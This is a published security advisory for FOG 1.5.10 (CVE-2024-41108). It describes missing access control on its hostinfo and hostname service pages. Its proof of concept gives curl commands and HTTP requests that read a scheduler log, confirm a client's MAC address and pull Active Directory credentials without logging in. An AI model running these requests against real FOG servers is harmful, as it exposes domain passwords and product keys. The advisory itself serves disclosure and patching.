Skip to content

Sensitive Information Disclosure

High
mastacontrola published GHSA-p3f9-4jj4-fm2g Jul 31, 2024

Package

FOG

Affected versions

1.5.10

Patched versions

1.5.10.41

Description

Summary

Missing access control allows attackers to obtain sensitive information.

Details

The hostinfo page has missing/improper access control since only the host's mac address is required to obtain the configuration information. This data can only be retrieved if a task is pending on that host. Otherwise, an error message containing "Invalid tasking!" will be returned. The domainpassword in the hostinfo dump is hidden even to authenticated users, as it is displayed as a row of asterisks when navigating to the host's Active Directory settings.
https://github.com/FOGProject/fogproject/blob/a4bb1bf39ac53c3cbe623576915fbc3b5c80a00f/packages/web/service/hostinfo.php

The same can be done on the hostname page to obtain the ADPassLegacy.
https://github.com/FOGProject/fogproject/blob/a4bb1bf39ac53c3cbe623576915fbc3b5c80a00f/packages/web/service/hostname.php

public function send()
{
ob_start();
echo '#!ok';
$password = self::$Host->get('ADPassLegacy');
printf(
"=%s\n",
self::$Host->get('name')
);
self::$Host->setAD();
$username = trim(
self::$Host->get('ADUser')
);
if (strpos($username, chr(92))
|| strpos($username, chr(64))
) {
$adUser = $username;
} elseif ($username) {
$adUser = sprintf(
'%s\%s',
self::$Host->get('ADDomain'),
$username
);
} else {
$adUser = '';
}
$AD = (bool)self::$Host->get('useAD');
$hostname = self::$Host->get('name');
$ADDom = '';
$ADOU = '';
$ADUser = '';
$ADPass = '';
if ($AD === true) {
$AD = 1;
$ADDom = self::$Host->get('ADDomain');
$ADOU = str_replace(
';',
'',
self::$Host->get('ADOU')
);
$ADUser = $adUser;
$ADPass = $password;
}
self::$Host->setAD();
printf(
"#AD=%s\n#ADDom=%s\n#ADOU=%s\n#ADUser=%s\n#ADPass=%s",
$AD,
$ADDom,
$ADOU,
$ADUser,
$ADPass
);
$this->send = ob_get_clean();
}
}

PoC

/fog/service/hostinfo.php

There are two requirements in order to obtain sensitive information like Active Directory credentials from the "/fog/service/hostinfo.php" page. The first step is to obtain a fogclient's mac address or hostname by any means. The easiest method I found was to use the logtoview page and specifically request the "/var/log/fog/fogscheduler.log" file which contains the hostnames of devices which has recieved a task.

curl -i -s -k -X $'POST' --data-binary $'file=/var/log/fog/fogscheduler.log&ip=<BASE64_SERVERIP>' $'http://<SERVERIP>/fog/status/logtoview.php'

HTTP Response:

HTTP/1.1 200 OK
[SNIPPED]
Content-Length: 1306

"[11-11-23 1:51:35 pm] * 2 tasks found.\n[11-11-23 1:51:35 pm] * 0 scheduled task(s) to run.\n[11-11-23 1:51:35 pm] * 2 power management task(s) to run.\n[11-11-23 1:51:35 pm] * Power Management Task run time: Sat, 11 Nov 2023 14:00:00 +0000\n[11-11-23 1:51:35 pm] * This is a cron style task that should not run now..\n[11-11-23 1:51:35 pm] * Power Management Task run time: Sat, 11 Nov 2023 13:51:00 +0000\n[11-11-23 1:51:35 pm] * This is a cron style task that should run now..\n[11-11-23 1:51:35 pm] * Found a wake on lan task that should run.\n[11-11-23 1:51:35 pm] | Task sent to testhost\n[11-11-23 1:52:35 pm] * Sending 1 wake on lan request.\n[11-11-23 1:52:35 pm] * 1 total mac attempting to wake up.\n[11-11-23 1:52:35 pm] * 2 tasks found.\n[11-11-23 1:52:35 pm] * 0 scheduled task(s) to run.\n[11-11-23 1:52:35 pm] * 2 power management task(s) to run.\n[11-11-23 1:52:35 pm] * Power Management Task run time: Sat, 11 Nov 2023 14:00:00 +0000\n[11-11-23 1:52:35 pm] * This is a cron style task that should not run now..\n[11-11-23 1:52:35 pm] * Power Management Task run time: Sat, 11 Nov 2023 13:52:00 +0000\n[11-11-23 1:52:35 pm] * This is a cron style task that should run now..\n[11-11-23 1:52:35 pm] * Found a wake on lan task that should run.\n[11-11-23 1:52:35 pm] | Task sent to testhost"

Both values can be verified using the following requests:

hostname verification

HTTP Request:

GET /fog/service/hostnameloop.php?host=dGVzdGhvc3Q= HTTP/1.1
Host: <SERVERIP>
Content-Length: 0
Connection: close

HTTP Response:

HTTP/1.1 200 OK
[SNIPPED]
Content-Length: 86

	A host with that name already exists	The primary mac associated is: aa:aa:aa:aa:aa:aa

mac verification

HTTP Request:

GET /fog/service/blame.php?mac=aa:aa:aa:aa:aa:aa HTTP/1.1
Host: <SERVERIP>
Content-Length: 0
Connection: close

Has Pending Task HTTP Response:

HTTP/1.1 200 OK
[SNIPPED]
Content-Length: 2

##

No Pending Tasks HTTP Response:

HTTP/1.1 200 OK
[SNIPPED]
Content-Length: 59

No Active Task found for Host: testhost (aa:aa:aa:aa:aa:aa)

The second requirement is that the target host needs to have a pending task or else no data will be returned. If both of these conditions are met, an unauthenticated user can obtain AD credentials, among other things, by running the following curl command.

curl -i -s -k -X $'GET' -H 'User-Agent:' $'http://<SERVERIP>/fog/service/hostinfo.php?mac=aa:aa:aa:aa:aa:aa'

HTTP Response:

HTTP/1.1 200 OK
Date: Sat, 11 Nov 2023 11:22:18 GMT
Server: Apache/2.4.52 (Ubuntu)
X-Frame-Options: sameorigin
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000
Content-Security-Policy: default-src 'none';script-src 'self' 'unsafe-eval';connect-src 'self';img-src 'self' data:;style-src 'self' 'unsafe-inline';font-src 'self';
Vary: Accept-Encoding
Connection: close
Transfer-Encoding: chunked
Content-Type: text/plain;charset=UTF-8

[[ -z $mac ]] && export mac='aa:aa:aa:aa:aa:aa'
[[ -z $ftp ]] && export ftp='<SERVERIP>'
[[ -z $osid ]] && export osid=''
[[ -z $storage ]] && export storage='<SERVERIP>:/images/'
[[ -z $storageip ]] && export storageip='<SERVERIP>'
[[ -z $img ]] && export img=''
[[ -z $imgFormat ]] && export imgFormat=''
[[ -z $imgType ]] && export imgType=''
[[ -z $imgPartitionType ]] && export imgPartitionType=''
[[ -z $imgid ]] && export imgid=''
[[ -z $PIGZ_COMP ]] && export PIGZ_COMP='-'
[[ -z $shutdown ]] && export shutdown='0'
[[ -z $hostearly ]] && export hostearly='1'
[[ -z $pct ]] && export pct='7'
[[ -z $ignorepg ]] && export ignorepg='1'
[[ -z $winuser ]] && export winuser=''
[[ -z $port ]] && export port=''
[[ -z $fdrive ]] && export fdrive=''
[[ -z $hostname ]] && export hostname='testhost'
[[ -z $hostdesc ]] && export hostdesc='testhost'
[[ -z $hostip ]] && export hostip=''
[[ -z $hostimageid ]] && export hostimageid='0'
[[ -z $hostbuilding ]] && export hostbuilding='0'
[[ -z $hostusead ]] && export hostusead=''
[[ -z $hostaddomain ]] && export hostaddomain='domain.local'
[[ -z $hostaduser ]] && export hostaduser='aduser'
[[ -z $hostadpass ]] && export hostadpass='aduserpassword'
[[ -z $hostadou ]] && export hostadou='domainOU'
[[ -z $hostproductkey ]] && export hostproductkey='WINDO-WSPRO-DUCTK-EY'
[[ -z $imagename ]] && export imagename=''
[[ -z $imagedesc ]] && export imagedesc=''
[[ -z $imageosid ]] && export imageosid=''
[[ -z $imagepath ]] && export imagepath=''
[[ -z $primaryuser ]] && export primaryuser=''
[[ -z $othertag ]] && export othertag=''
[[ -z $othertag1 ]] && export othertag1=''
[[ -z $sysman ]] && export sysman=''
[[ -z $sysproduct ]] && export sysproduct=''
[[ -z $sysserial ]] && export sysserial=''
[[ -z $mbman ]] && export mbman=''
[[ -z $mbserial ]] && export mbserial=''
[[ -z $mbasset ]] && export mbasset=''
[[ -z $mbproductname ]] && export mbproductname=''
[[ -z $caseman ]] && export caseman=''
[[ -z $caseserial ]] && export caseserial=''
[[ -z $caseasset ]] && export caseasset=''
[[ -z $mode ]] && export mode='checkdisk'

/fog/service/hostname.php

Run the following curl command with the mac address of an existing fogclient to obtain the ADPassLegacy value of that host.

curl -i -s -k -X $'GET' $'http://<SERVERIP>/fog/service/hostname.php?mac=aa:aa:aa:aa:aa:aa'

HTTP Response:

HTTP/1.1 200 OK
[SNIPPED]
Content-Length: 105

#!ok=testhost
#AD=1
#ADDom=domain.local
#ADOU=domainOU
#ADUser=domain.local\aduser
#ADPass=aduserpassword

Impact

Anyone with network access to the fogproject web interface and basic information about the existing fogclients can obtain sensitive information.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

CVE ID

CVE-2024-41108

Weaknesses

Credits